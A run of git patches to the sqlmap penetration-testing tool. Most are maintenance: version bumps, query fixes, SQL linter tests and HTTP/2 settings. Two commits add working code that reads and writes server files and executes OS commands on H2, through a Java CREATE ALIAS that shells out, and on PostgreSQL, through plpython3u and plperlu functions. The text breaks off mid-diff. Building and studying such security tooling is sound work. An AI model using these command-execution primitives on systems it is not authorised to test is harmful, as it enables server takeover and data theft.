Sun, 12 Jul 2026 17:11:14 +0200 Subject: [PATCH 751/853] Fixes CI/CD --- lib/core/common.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 65d702c339a..ad9f5564c9f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3746,7 +3746,8 @@ def initTechnique(technique=None): if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio - kb.trueLength = data.trueLength + kb.trueLength = data.get("trueLength") # NOTE: absent in sessions stored before the '--lengths' switch was introduced + kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options diff --git a/lib/core/settings.py b/lib/core/settings.py index 3ab6bdcbe4a..1d2e6d9d7d5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.94" +VERSION = "1.10.7.95" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 94e21844d7a61beb248adfbe045721391d49827c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 17:24:35 +0200 Subject: [PATCH 752/853] Minor update --- data/xml/errors.xml | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index ddf34d51e9a..706994f12de 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -228,6 +228,11 @@ + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 1d2e6d9d7d5..62b2762d08f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.95" +VERSION = "1.10.7.96" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 38ab43f29e6aeeb79187a2cb2d54a195996f737e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 18:22:15 +0200 Subject: [PATCH 753/853] Improvement for H2 and Oracle --- data/xml/queries.xml | 18 +++++++-------- lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 6 +++++ plugins/dbms/h2/filesystem.py | 41 +++++++++++++++++++++++++++++----- plugins/dbms/h2/fingerprint.py | 7 ++++++ plugins/dbms/h2/takeover.py | 33 +++++++++++++++++++++++---- plugins/generic/filesystem.py | 2 +- 7 files changed, 88 insertions(+), 21 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 8313e94dfbf..ca744e96be9 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -305,8 +305,8 @@ - - + + @@ -598,7 +598,7 @@ - + @@ -1983,12 +1983,12 @@ - - + + - - + + @@ -2003,8 +2003,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 62b2762d08f..331933092d7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.96" +VERSION = "1.10.7.97" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index cb3e8a58bcb..3f43afb364d 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -58,6 +58,9 @@ def execCmd(self, cmd, silent=False): elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) + elif Backend.isDbms(DBMS.H2): + self.h2ExecCmd(cmd, silent=silent) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) @@ -77,6 +80,9 @@ def evalCmd(self, cmd, first=None, last=None): elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) + elif Backend.isDbms(DBMS.H2): + retVal = self.h2EvalCmd(cmd, first, last) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index f607dc2438c..c82ba858eab 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -5,14 +5,43 @@ See the file 'LICENSE' for copying permission """ -from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.common import checkFile +from lib.core.convert import getText +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, remoteFile): - errMsg = "on H2 it is not possible to read files" - raise SqlmapUnsupportedFeatureException(errMsg) + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required) + result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + return result + + def stackedReadFile(self, remoteFile): + # H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive + return self.nonStackedReadFile(remoteFile) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - errMsg = "on H2 it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + checkFile(localFile) + self.checkDbmsOs() + + with open(localFile, "rb") as f: + content = getText(f.read()) + + infoMsg = "writing the file content to '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no + # stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed + # as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal) + inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 7125b27cec3..44252d1ea1f 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -119,3 +119,10 @@ def checkDbms(self): def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 29ba323a57c..50b62af5444 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -5,17 +5,42 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import OS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.runCmd(conf.osCmd) def osShell(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.shell() + + def _createExecAlias(self): + # NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids + # single-quote escaping and survives stacked-query injection intact + if not kb.get("h2ExecAlias"): + kb.h2ExecAlias = randomStr(lowercase=True) + argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"' + # NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL + # statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java + source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv + inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source)) + + def h2ExecCmd(self, cmd, silent=False): + self._createExecAlias() + inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''"))) + + def h2EvalCmd(self, cmd, first=None, last=None): + self._createExecAlias() + return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False) def osPwn(self): errMsg = "on H2 it is not possible to establish an " diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 3e3c5f4b625..69ceebb9f55 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -229,7 +229,7 @@ def readFile(self, remoteFile): logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL): + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2): debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) From dab476da8a7cb77d3b61e292399f56c50760e717 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 18:38:09 +0200 Subject: [PATCH 754/853] Implementing PostgreSQL PL-extension RCE --- lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 8 ++++- plugins/dbms/postgresql/takeover.py | 46 +++++++++++++++++++++++++++++ 3 files changed, 54 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 331933092d7..e81b4166361 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.97" +VERSION = "1.10.7.98" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 3f43afb364d..2ec4b4c9377 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -52,6 +52,9 @@ def execCmd(self, cmd, silent=False): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + self.plExecCmd(cmd, silent=silent) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) @@ -74,6 +77,9 @@ def evalCmd(self, cmd, first=None, last=None): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + retVal = self.plExecCmd(cmd) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) @@ -221,7 +227,7 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): logger.warning(warnMsg) - if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and (self.checkCopyExec() or self.checkPlExec()): success = True elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index ee9b70f345e..709f6ff2e5a 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -17,6 +17,7 @@ from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.compat import LooseVersion +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -128,3 +129,48 @@ def checkCopyExec(self): kb.copyExecTest = self.copyExecCmd("echo 1") == '1' return kb.copyExecTest + + def _plRun(self, func, cmd): + output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(getText(_) for _ in output) + + return output + + def _plExecFunc(self): + # NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared + # library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts), + # only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked + if kb.get("plExecFunc") is None: + kb.plExecFunc = "" + + if isStackingAvailable() or conf.direct: + func = randomStr(lowercase=True) + + for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"), + ("plperlu", "return `$_[0]`;")): + inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True) + + if (self._plRun(func, "echo 1") or "").strip() == '1': + kb.plExecFunc = func + + infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language + logger.info(infoMsg) + + break + + return kb.plExecFunc or None + + def checkPlExec(self): + return self._plExecFunc() is not None + + def plExecCmd(self, cmd, silent=False): + func = self._plExecFunc() + + return self._plRun(func, cmd) if func else None From af385c37c0f80b9030952e51d89394489b2ea31a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 19:32:25 +0200 Subject: [PATCH 755/853] Minor fine tuning --- data/xml/payloads/error_based.xml | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 95fd4b40b7a..f92974eac49 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -608,7 +608,7 @@ Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 1 1,9 1 @@ -628,7 +628,7 @@ Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 3 1,9 2 @@ -686,7 +686,7 @@ Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 1 1,9 1 @@ -705,7 +705,7 @@ Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 3 1,9 2 diff --git a/lib/core/settings.py b/lib/core/settings.py index e81b4166361..2a86743d803 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.98" +VERSION = "1.10.7.99" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1c894ab11652475b96815c42cec90185d66e8c79 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 19:47:54 +0200 Subject: [PATCH 756/853] DB2 views fix --- data/xml/queries.xml | 12 ++++++------ lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index ca744e96be9..c5269a52e96 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -670,8 +670,8 @@ - - + + @@ -686,12 +686,12 @@ - - + + - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a86743d803..fb68fcac170 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.99" +VERSION = "1.10.7.100" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5f99b283c2a47c746a09bc937d42ebbd7e645d47 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 20:07:32 +0200 Subject: [PATCH 757/853] Minor fixes --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/databases.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index c5269a52e96..0585845bcfd 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -314,8 +314,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index fb68fcac170..9cd7d6a848f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.100" +VERSION = "1.10.7.101" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b648714bdef..264ee5d1a51 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -301,7 +301,7 @@ def getTables(self, bruteForce=None): if condition: if not Backend.isDbms(DBMS.SQLITE): - query += " WHERE %s" % condition + query += " %s %s" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", condition) if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) From 0338c13063595087967a2b9a2986ac91ab611e42 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 20:27:37 +0200 Subject: [PATCH 758/853] Minor update for SQLlinter --- lib/core/settings.py | 2 +- lib/utils/sqllint.py | 38 ++++++++++++++++++++++++++++++++++++++ tests/test_sqllint.py | 6 ++++++ 3 files changed, 45 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9cd7d6a848f..b1a69bbd82b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.101" +VERSION = "1.10.7.102" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py index 867b4c7d228..f38ef28584c 100644 --- a/lib/utils/sqllint.py +++ b/lib/utils/sqllint.py @@ -75,6 +75,16 @@ # "a,limit,b" would false-positive. _CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO")) +# single-occurrence clause keywords (at most one per SELECT scope) with no +# identifier-collision risk - unlike GROUP/ORDER, which double as column names. +# a repeat at the same paren-depth is the 'WHERE x WHERE y' structural bug (e.g. +# a schema filter appended onto a base query that already carries a WHERE). +_SINGLE_CLAUSE_KEYWORDS = frozenset(("WHERE", "HAVING")) + +# set operators that begin a fresh SELECT, resetting single-occurrence clauses at +# the current scope ('a WHERE x UNION b WHERE y' is legal; two WHEREs are not). +_SET_OPERATORS = frozenset(("UNION", "EXCEPT", "INTERSECT", "MINUS")) + # sqlmap's own templating markers. If any survives into a *final* outbound payload # a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always # a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside @@ -309,6 +319,10 @@ def checkSanity(sql, keywords=None): True >>> bool(checkSanity("1UNION SELECT NULL")) True + >>> bool(checkSanity("SELECT a FROM t WHERE x=1 WHERE y=2")) + True + >>> checkSanity("SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2") + [] """ if not sql: return [] @@ -419,4 +433,28 @@ def checkSanity(sql, keywords=None): if cur.type == T_OTHER: issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + # -- duplicated single-occurrence clause at one scope ('WHERE x WHERE y') -- + # WHERE/HAVING may appear at most once per SELECT scope; a second one at the + # same paren-depth (no set operator or ';' resetting the SELECT in between) + # is a structural impossibility no surrounding query can undo - subquery + # clauses live at a deeper depth and reset on '(' / ')'. + scopeSeen = [set()] + for token in sig: + if token.type == T_LPAREN: + scopeSeen.append(set()) + elif token.type == T_RPAREN: + if len(scopeSeen) > 1: + scopeSeen.pop() + elif token.type == T_SEMI: + scopeSeen = [set()] + elif token.type == T_KEYWORD: + word = token.value.upper() + if word in _SINGLE_CLAUSE_KEYWORDS: + if word in scopeSeen[-1]: + issues.append("duplicate '%s' clause at offset %d" % (word, token.start)) + else: + scopeSeen[-1].add(word) + elif word in _SET_OPERATORS: + scopeSeen[-1].clear() + return issues diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py index 63f409ff10d..4c06bbcdecc 100644 --- a/tests/test_sqllint.py +++ b/tests/test_sqllint.py @@ -66,6 +66,9 @@ "SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT "SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table "CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI) + "SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2", # two WHEREs across UNION (legal) + "SELECT a FROM (SELECT b FROM t WHERE c=1) z WHERE d=2", # subquery WHERE + outer WHERE (different scopes) + "SELECT a FROM t WHERE x IN (SELECT c FROM d WHERE e=1) AND f=2", # WHERE with a WHERE'd subquery ) # malformed fragments/statements that MUST flag @@ -92,6 +95,9 @@ "1 UNION ALLSELECT NULL", # glued keyword after UNION "1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')') "1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT + "SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') WHERE OWNER IN ('APPU')", # double WHERE (mis-appended schema filter) + "SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V') WHERE tabschema IN ('DB2INST1')", # double WHERE (DB2) + "SELECT a FROM t WHERE x=1 HAVING c>1 HAVING d<2", # duplicate HAVING ) # cross-dialect valid constructs the near-keyword / comma / digit-glue rules must From 7ee21bbaf9198c51ecba5529f854f740a411afdb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 13 Jul 2026 03:19:34 +0200 Subject: [PATCH 759/853] Fixes CI/CD errors --- lib/core/settings.py | 2 +- plugins/generic/users.py | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b1a69bbd82b..f8a12caa448 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.102" +VERSION = "1.10.7.103" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 1f298ac8d28..ae1983ff891 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -204,8 +204,8 @@ def getPasswordHashes(self): condition = rootQuery.inband.condition if conf.user: - query += " WHERE " - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + query += " %s (%s)" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", userCondition) if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True @@ -417,12 +417,12 @@ def getPrivileges(self, query2=False): condition = rootQuery.inband.condition if conf.user: - query += " WHERE " - if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + + query += " %s (%s)" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", userCondition) values = inject.getValue(query, blind=False, time=False) From 71afbf071142d92e2f5a282edbe4fdbb693fa309 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 13 Jul 2026 03:20:07 +0200 Subject: [PATCH 760/853] Fixes #6083 --- lib/core/settings.py | 2 +- lib/request/http2.py | 23 ++++++++++++---- lib/request/timeless.py | 60 ++++++++++++++++++++++++++++++----------- 3 files changed, 63 insertions(+), 22 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f8a12caa448..7924ef16563 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.103" +VERSION = "1.10.7.104" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index a8aa6287f77..7af598c4193 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -144,7 +144,7 @@ # HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII. # frame types (RFC 7540 s6) -DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9 +DATA, HEADERS, RST_STREAM, SETTINGS, PUSH_PROMISE, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9 # flags FLAG_END_STREAM = 0x1 FLAG_ACK = 0x1 @@ -374,6 +374,7 @@ def encode(self, headers): out += encode_string(value) return bytes(out) +SETTINGS_ENABLE_PUSH = 0x2 SETTINGS_INITIAL_WINDOW_SIZE = 0x4 BIG_WINDOW = (1 << 31) - 1 @@ -469,9 +470,12 @@ def __init__(self, host, port, proxy, timeout): if self.sock.selected_alpn_protocol() != "h2": raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) self.sock.settimeout(timeout) - # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + # connection preface + client SETTINGS (disable server push + advertise a large per-stream window) + # + bump conn window. ENABLE_PUSH=0 keeps servers from opening pushed streams whose HPACK header + # block we would otherwise have to decode to keep the dynamic table in sync (skipping it desyncs + # the decoder and corrupts every later header) - this client has no use for pushed responses. self.sock.sendall(CONNECTION_PREFACE) - self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HIHI", SETTINGS_ENABLE_PUSH, 0, SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, 